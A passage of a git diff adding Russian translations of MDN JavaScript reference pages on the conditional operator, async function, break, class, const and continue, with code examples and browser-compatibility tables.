+<p>Также возможно выполнять несколько операций на каждое сравнение, разделив их запятыми:</p>
+
+<pre class="brush: js notranslate">var stop = false, age = 23;
+
+age &gt; 18 ? (
+    alert("Хорошо, вы можете продолжить."),
+    location.assign("continue.html")
+) : (
+    stop = true,
+    alert("Простите, вы еще так юны!")
+);
+</pre>
+
+<p>При присвоении значения также возможно выполнение более одной операции. В этом случае переменной <strong>будет присвоено то значение, </strong><em><strong>которое стоит последним в списке значений, разделенных запятой</strong></em>.</p>
+
+<pre class="brush: js notranslate">var age = 16;
+
+var url = age &gt; 18 ? (
+    alert("Хорошо, вы можете продолжить."),
+    // alert вернет "undefined", но это будет проигнорировано, потому что
+    // не является последним в списке значений, разделенных запятой
+    "continue.html" // значение будет присвоено, если age &gt; 18
+) : (
+    alert("Вы слишком молоды!"),
+    alert("Простите :-("),
+    // ит.д. ит.д.
+    "stop.html" // значение будет присвоено, если !(age &gt; 18)
+);
+
+location.assign(url); // "stop.html"</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-conditional-operator', 'Условный Оператор')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.12', 'Условный оператор')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-11.12', 'Условный оператор')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Изначальное определение. Реализация в JavaScript 1.0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрие_также">Смотрие также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else">if statement</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/statements/async_function/index.html b/files/ru/web/javascript/reference/statements/async_function/index.html
new file mode 100644
index 0000000000..df0368c62a
--- /dev/null
+++ b/files/ru/web/javascript/reference/statements/async_function/index.html
@@ -0,0 +1,179 @@
+---
+title: async function
+slug: Web/JavaScript/Reference/Statements/async_function
+translation_of: Web/JavaScript/Reference/Statements/async_function
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<div>Объявление <code style="font-style: normal; font-weight: normal;"><strong>async function</strong></code> определяет <em>асинхронную функцию</em>, которая возвращает объект {{jsxref("Global_Objects/AsyncFunction","AsyncFunction")}}.</div>
+
+<div class="noinclude">
+<p>Вы также можете  определить async-функции, используя  {{jsxref("Operators/async_function", "выражение async function")}}.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">async function <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
+   <em>statements</em>
+}
+</pre>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Имя функции.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>Имя аргумента, который будет передан в функцию.</dd>
+</dl>
+
+<dl>
+ <dt><code>statements</code></dt>
+ <dd>Выражение, содержащее тело функции.</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>После вызова функция <code>async</code> возвращает {{jsxref("Promise")}}. Когда результат был получен, <code>Promise</code> завершается, возвращая полученное значение.  Когда функция <code>async </code>выбрасывает исключение, <code>Promise</code> ответит отказом с выброшенным (<code>throws</code>) значением.</p>
+
+<p>Функция async может содержать выражение {{jsxref("Operators/await", "await")}}, которое приостанавливает выполнение функции async и ожидает ответа от переданного <code>Promise</code>, затем возобновляя выполнение функции <code>async</code> и возвращая полученное значение.</p>
+
+<p>Ключевое слово <code>await</code> допустимо только в асинхронных функциях. В другом контексте вы получите ошибку <code>SyntaxError</code>.</p>
+
+<div class="note">
+<p>Цель функций async/await упростить использование promises синхронно и воспроизвести некоторое действие над группой  <code>Promises</code>. Точно так же как <code>Promises</code> подобны структурированным callback-ам, async/await подобна комбинации генераторов и promises.</p>
+</div>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Простой_пример">Простой пример</h3>
+
+<pre class="brush: js notranslate">function resolveAfter2Seconds(x) {
+  return new Promise(resolve =&gt; {
+    setTimeout(() =&gt; {
+      resolve(x);
+    }, 2000);
+  });
+}
+
+async function add1(x) {
+  const a = await resolveAfter2Seconds(20);
+  const b = await resolveAfter2Seconds(30);
+  return x + a + b;
+}
+
+add1(10).then(v =&gt; {
+  console.log(v);  // prints 60 after 4 seconds.
+});
+
+async function add2(x) {
+  const a = resolveAfter2Seconds(20);
+  const b = resolveAfter2Seconds(30);
+  return x + await a + await b;
+}
+
+add2(10).then(v =&gt; {
+  console.log(v);  // prints 60 after 2 seconds.
+});
+</pre>
+
+<div class="warning">
+<h4 id="Не_путайте_await_и_Promise.all">Не путайте await и Promise.all</h4>
+
+<p>Функция <code>add1</code> приостанавливается на 2 секунды для первого <code>await</code> и еще на 2 для второго. Второй таймер создается только после срабатывания первого. В функции <code>add2</code> создаются оба и оба же переходят в состояние <code>await</code>. В результате функция <code>add2</code> завершится скорее через две, чем через четыре секунды, поскольку таймеры работают одновременно. Однако запускаются они все же не паралелльно, а друг за другом - такая конструкция не означает автоматического использования <code>Promise.all</code>. Если два или более Promise должны разрешаться параллельно, следует использовать <code>Promise.all</code>.</p>
+</div>
+
+<h3 id="Когда_функция_async_выбрасывает_исключение">Когда функция <code>async </code>выбрасывает исключение</h3>
+
+<pre class="brush: js notranslate">async function throwsValue() {
+    throw new Error('oops');
+}
+throwsValue()
+    .then((resolve) =&gt; {
+            console.log("resolve:" + resolve);
+        },
+        (reject) =&gt; {
+            console.log("reject:" + reject);
+        });
+//prints "reject:Error: oops"
+//or
+throwsValue()
+    .then((resolve) =&gt; {
+        console.log("resolve:" + resolve);
+    })
+    .catch((reject) =&gt; {
+        console.log("reject:" + reject);
+    });
+//prints "reject:Error: oops"
+</pre>
+
+<h3 id="Перепись_цепочки_promise_с_использованием_функции_async">Перепись цепочки promise с использованием функции <code>async</code></h3>
+
+<p>API, которое возвращает {{jsxref("Promise")}}, будет возвращать значение в цепочке, тем самым разбивая функцию на много частей. Рассматривая следующий код:</p>
+
+<pre class="brush: js notranslate">function getProcessedData(url) {
+  return downloadData(url) // returns a promise
+    .catch(e =&gt; {
+      return downloadFallbackData(url) // returns a promise
+    })
+    .then(v =&gt; {
+      return processDataInWorker(v); // returns a promise
+    });
+}
+</pre>
+
+<p>он может быть переписан с одним использованием функции <code>async</code>:</p>
+
+<pre class="brush: js notranslate">async function getProcessedData(url) {
+  let v;
+  try {
+    v = await downloadData(url);
+  } catch(e) {
+    v = await downloadFallbackData(url);
+  }
+  return processDataInWorker(v);
+}
+</pre>
+
+<p>Заметьте, что пример выше не содержит <code>await</code> на <code>return</code>, потому что возвращаемое значение функции <code>async</code> неявно обернуто в {{jsxref("Promise.resolve")}}.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-async-function-definitions', 'async function')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Initial definition in ES2017.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES8', '#sec-async-function-definitions', 'async function')}}</td>
+   <td>{{Spec2('ES8')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div>
+
+<p>{{Compat("javascript.statements.async_function")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Operators/async_function", "async function expression")}}</li>
+ <li>{{jsxref("AsyncFunction")}} object</li>
+ <li>{{jsxref("Operators/await", "await")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/statements/break/index.html b/files/ru/web/javascript/reference/statements/break/index.html
new file mode 100644
index 0000000000..dfb5840659
--- /dev/null
+++ b/files/ru/web/javascript/reference/statements/break/index.html
@@ -0,0 +1,140 @@
+---
+title: break
+slug: Web/JavaScript/Reference/Statements/break
+tags:
+  - JavaScript
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/break
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong>Оператор break</strong> прерывает выполнение текущего цикла, переключателя {{jsxref("Statements/switch", "switch")}}, или метки ({{jsxref("Statements/label", "label")}}) блочного выражения и переносит выполнение программы к оператору, следующему за прерванным.</p>
+
+<p> </p>
+
+<p>{{EmbedInteractiveExample("pages/js/statement-break.html")}}</p>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>break [<em>label</em>];</code></pre>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>Опционально. Идентификатор связанной метки. Если прерываемое выражение не цикл или {{jsxref("Statements/switch", "switch")}}, метка является обязательной.</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Инструкция <code>break</code> включает необязательную метку для возможности выхода из блочного выражения. При таком использовании <code>break</code> должен находиться внутри отмеченного блока, который соответствует метке. Отмеченная инструкция может быть любой {{jsxref("Statements/block", "блочной")}} инструкцией; она не обязательно должна являться циклом.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующая функция использует инструкцию <code>break</code> для выхода из цикла {{jsxref("Statements/while", "while")}}, когда <code>i</code> станет равно 3, и возвращает значение 3 * <code>x</code>.</p>
+
+<pre class="brush:js;highlight:[6];">function testBreak(x) {
+   var i = 0;
+
+   while (i &lt; 6) {
+      if (i == 3) {
+         break;
+      }
+      i += 1;
+   }
+   return i * x;
+}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е Издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Версия без метки.</td>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е Издание.</td>
+   <td>Стандарт</td>
+   <td>Добавлена поддержка метки.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.8', 'Break statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-break-statement', 'Break statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Statements/continue", "continue")}}</li>
+ <li>{{jsxref("Statements/label", "label")}}</li>
+ <li>{{jsxref("Statements/switch", "switch")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/statements/class/index.html b/files/ru/web/javascript/reference/statements/class/index.html
new file mode 100644
index 0000000000..3aab01ee9a
--- /dev/null
+++ b/files/ru/web/javascript/reference/statements/class/index.html
@@ -0,0 +1,183 @@
+---
+title: class
+slug: Web/JavaScript/Reference/Statements/class
+translation_of: Web/JavaScript/Reference/Statements/class
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong>Class declaration</strong> создает новый класс с данным именем на основе прототипного наследования.</p>
+
+<div class="noinclude">
+<p>Можно так же определить класс, используя {{jsxref("Operators/class", "class expression", "", 1)}}. Но в отличае от class expression, class declaration не позволяет снова объявить уже существующий класс, это <strong>приведёт к ошибке типа</strong>.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js notranslate">class <em>name</em> [extends] {
+  // тело класса
+}
+</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Как и class expression, тело class declaration будет исполняться в {{jsxref("Strict_mode", "строгом режиме", "", 1)}}. Свойство конструктора является опциональным.</p>
+
+<p>Class declaration не {{Glossary("Hoisting", "поднимается")}} (в отличие от <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function">декларируемых функций</a>).</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Простой_class_declaration">Простой class declaration</h3>
+
+<p>В следующем примере сначала определяется класс с именем Polygon, затем он наследуется для создания класса Square. Заметьте, что super(), используемый в конструкторе, может быть использован только в конструкторе и должен быть вызван до того, как будет использовано ключевое слово this.</p>
+
+<pre class="brush: js notranslate">class Polygon {
+  constructor(height, width) {
+    this.name = 'Polygon';
+    this.height = height;
+    this.width = width;
+  }
+}
+
+class Square extends Polygon {
+  constructor(length) {
+    super(length, length);
+    this.name = 'Square';
+  }
+}</pre>
+
+<div class="warning">
+<h3 id="Попытка_объявить_класс_дважды">Попытка объявить класс дважды</h3>
+
+<p>Переопределение класса с помощью class declaration вызовет ошибку типа.</p>
+
+<pre class="brush: js notranslate">class Foo {};
+class Foo {}; // Uncaught TypeError: Identifier 'Foo' has already been declared
+</pre>
+
+<p>Та же ошибка будет вызвана, если класс был определен перед использованием class declaration.</p>
+
+<pre class="brush: js notranslate">var Foo = class {};
+class Foo {}; // Uncaught TypeError: Identifier 'Foo' has already been declared
+
+</pre>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_брузерами">Поддержка брузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{CompatGeckoDesktop(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Array subclassing</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Allowed in sloppy mode</td>
+   <td>{{CompatChrome(49.0)}}</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{CompatGeckoMobile(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(42.0)}}</td>
+  </tr>
+  <tr>
+   <td>Array subclassing</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+  <tr>
+   <td>Allowed in sloppy mode</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(49.0)}}</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td>{{CompatChrome(49.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/function"><code>function</code> declaration</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/class"><code>class</code> expression</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/statements/const/index.html b/files/ru/web/javascript/reference/statements/const/index.html
new file mode 100644
index 0000000000..351580e6dc
--- /dev/null
+++ b/files/ru/web/javascript/reference/statements/const/index.html
@@ -0,0 +1,135 @@
+---
+title: const
+slug: Web/JavaScript/Reference/Statements/const
+tags:
+  - ECMAScript6
+  - JavaScript
+  - const
+  - Константы
+translation_of: Web/JavaScript/Reference/Statements/const
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<div>Значение констант не может быть изменено новым присваиванием, а также не может быть переопределено. Константы (<code>const</code>) подчиняются области видимости уровня блока так же, как переменные, объявленные с использованием ключевого слова <code><a href="/ru/docs/Web/JavaScript/Reference/Statements/let">let</a></code>.</div>
+
+<div></div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">const <em>name1 = <em>value1 [</em>, <em>name2</em> = <em>value2</em><em> [</em>, ... [</em>, <em>nameN</em> = <em>valueN]]]</em>;</pre>
+
+<dl>
+ <dt><code>nameN</code></dt>
+ <dd>Имя константы. Подчиняется тем же правилам, что и {{Glossary("identifier", "идентификаторы")}} обычных переменных.</dd>
+ <dt><code>valueN</code></dt>
+ <dd>Значение константы. Может быть любым из тех типов, которые могут быть для переменных, включая функцию.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Это объявление создаёт константу, чья область действия может быть как глобальной, так и локальной внутри блока, в котором она объявлена. Глобальные константы не становятся свойствами объекта window, в отличие от <code><a href="/ru/docs/Web/JavaScript/Reference/Statements/var">var</a></code>-переменных. Инициализация константы обязательна; необходимо указать значение одновременно с объявлением (смысл в том, что потом это значение изменить уже нельзя).</p>
+
+<p><code><strong>const</strong></code> создаёт константу (новую именованную ссылку на область памяти), доступную только для чтения. Это не означает, что указываемое значение неизменно, но это означает, что идентификатор не может быть переназначен. Например, если константа указывает на объект, то сам объект может быть изменён.</p>
+
+<p>Все соображения по поводу <a href="/ru/docs/Web/JavaScript/Reference/Statements/let#Temporal_dead_zone_and_errors_with_let">временных мёртвых зон</a>, применимы и к <code><a href="/ru/docs/Web/JavaScript/Reference/Statements/let">let</a></code> и к <code>const</code>.</p>
+
+<p>Имена констант не могут совпадать с именами функций или переменных той же области видимости.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<p>Ниже описаны примеры, демонстрирующие поведение <strong><code>const</code>. </strong>Попробуйте их выполнить в <a href="/ru/docs/Tools/Черновик">простом JavaScript-редакторе</a> или в консоли браузера.</p>
+
+<pre class="brush:js">// Примечание: Идентификаторы констант могут быть объявлены как в верхнем,
+// так и в нижнем регистре. Но правилом хорошего тона является использование
+// верхнего регистра.
+
+// определим MY_FAV как константу и присвоим ей значение 7
+const MY_FAV = 7;
+
+// данное присваивание выдаст ошибку - Uncaught TypeError: Assignment to constant variable.
+MY_FAV = 20;
+
+// напечатает 7
+console.log("my favorite number is: " + MY_FAV);
+
+// попробуем переопределить константу, будет брошено исключение - Uncaught SyntaxError: Identifier 'MY_FAV' has already been declared
+const MY_FAV = 20;
+
+// имя MY_FAV зарезервированно константой выше, данная операция
+// выкинет исключение
+var MY_FAV = 20;
+
+// здесь также будет ошибка
+let MY_FAV = 20;
+
+// Важно отметить свойства области видимости уровня блока
+if (MY_FAV === 7) {
+    // Всё нормально. Создать константу или переменную MY_FAV можно.
+    // (работает так же как и let при объявлении в блоке переменных, которые не const)
+    const MY_FAV = 20;
+
+    // MY_FAV теперь 20
+    console.log("my favorite number is " + MY_FAV);
+
+    // это попадёт в глобальный контекст и выдаст ошибку
+    var MY_FAV = 20;
+}
+
+// MY_FAV все ещё имеет значение 7
+console.log("my favorite number is " + MY_FAV);
+
+// Выдаст ошибку, потому что константа не инициализирована - Uncaught SyntaxError: Missing initializer in const declaration
+const FOO;
+
+// const также работает с объектами
+const MY_OBJECT = {"key": "value"};
+
+// Попытка переопределить ссылку на объект вызовет исключение - Uncaught TypeError: Assignment to constant variable.
+MY_OBJECT = {"OTHER_KEY": "value"};
+
+// но, свойства объекта (ключи) можно изменять
+MY_OBJECT.key = "otherValue"; // Используйте <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze">Object.freeze()</a> для того, чтобы сделать объект неизменяемым
+
+// То же самое применимо к массивам
+const MY_ARRAY = [];
+// Например, можно добавлять элементы в массив
+MY_ARRAY.push("A"); // ["A"]
+// Но менять ссылку на объект массива нельзя. Это вызовет исключение - Uncaught TypeError: Assignment to constant variable
+MY_ARRAY = ["B"]
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-let-and-const-declarations', 'Let and Const Declarations')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-let-and-const-declarations', 'Let and Const Declarations')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Нет изменений</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("javascript.statements.const")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Statements/var"><code>var</code></a></li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Statements/let"><code>let</code></a></li>
+ <li><a href="/ru/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Constants">Константы в справочнике JavaScript</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/statements/continue/index.html b/files/ru/web/javascript/reference/statements/continue/index.html
new file mode 100644
index 0000000000..5cb41da72a
--- /dev/null
+++ b/files/ru/web/javascript/reference/statements/continue/index.html
@@ -0,0 +1,200 @@
+---
+title: continue
+slug: Web/JavaScript/Reference/Statements/continue
+tags:
+  - JavaScript
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/continue
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<h2 id="Сводка">Сводка</h2>
+
+<p>Инструкция <strong>continue</strong> прерывает выполнение текущей итерации текущего или отмеченного цикла, и продолжает его выполнение на следующей итерации.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">continue [ label ];</pre>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>Идентификатор, являющийся меткой (<code>label</code>) инструкции.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>По сравнению с инструкцией {{jsxref("Statements/break", "break")}}, <code>continue</code> прерывает выполнение цикла не полностью, вместо этого:</p>
+
+<ul>
+ <li>В цикле {{jsxref("Statements/while", "while")}} оно переносит поток выполнения к условию.</li>
+</ul>
+
+<ul>
+ <li>В цикле {{jsxref("Statements/for", "for")}} оно переносит поток выполнения к финальному выражению в описании цикла.</li>
+</ul>
+
+<p>Инструкция <code>continue</code> может использоваться вместе с необязательной меткой, которая будет начинать следующую итерацию отмеченного цикла, а не текущего. В этом случае, <code>continue</code> должен находиться внутри отмеченного блока, который соответствует метке.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_continue_with_while" name="Example:_Using_continue_with_while">Использование <code>continue</code> с циклом <code>while</code></h3>
+
+<p>Пример показывает использование цикла {{jsxref("Statements/while", "while")}} вместе с инструкцией <code>continue, которая выполняется, когда</code> <code>i</code> станет равно 3-м. Таким образом, <code>n</code> принимает значения 1, 3, 7 и 12.</p>
+
+<pre class="brush: js">i = 0;
+n = 0;
+while (i &lt; 5) {
+   i++;
+   if (i === 3) {
+      continue;
+   }
+   n += i;
+}
+</pre>
+
+<h3 id="Использование_continue_вместе_с_меткой">Использование <code>continue</code> вместе с меткой</h3>
+
+<p>В примере цикл, отмеченный <code>checkiandj</code>, содержит внутри себя цикл, отмеченный <code>checkj</code>. Если встретится инструкция <code>continue</code>, выполнение кода продолжится в начале блока кода <code>checkj</code>. При каждом вызове <code>continue цикл</code> <code>checkj</code> будет начинать новую итерацию, пока условие не начнёт возвращать <code>false</code>. Когда это случится, продолжится выполнение оставшейся части цикла <code>checkiandj</code>.</p>
+
+<p>Если бы <code>continue</code> имело метку <code>checkiandj</code>, программа продолжала бы свою работу с начала цикла <code>checkiandj</code>.</p>
+
+<p>Смотрите также {{jsxref("Statements/label", "label")}}.</p>
+
+<pre class="brush: js">var i = 0,
+    j = 8;
+
+checkiandj: while (i &lt; 4) {
+   console.log("i: " + i);
+   i += 1;
+
+   checkj: while (j &gt; 4) {
+      console.log("j: "+ j);
+      j -= 1;
+      if ((j % 2) == 0)
+         continue checkj;
+      console.log(j + " является нечётным.");
+   }
+   console.log("i = " + i);
+   console.log("j = " + j);
+}
+</pre>
+
+<p>Вывод:</p>
+
+<pre class="brush: js">"i: 0"
+
+// начало checkj
+"j: 8"
+"7 является нечётным."
+"j: 7"
+"j: 6"
+"5 является нечётным."
+"j: 5"
+// конец checkj
+
+"i = 1"
+"j = 4"
+
+"i: 1"
+"i = 2"
+"j = 4"
+
+"i: 2"
+"i = 3"
+"j = 4"
+
+"i: 3"
+"i = 4"
+"j = 4"
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е Издание.</td>
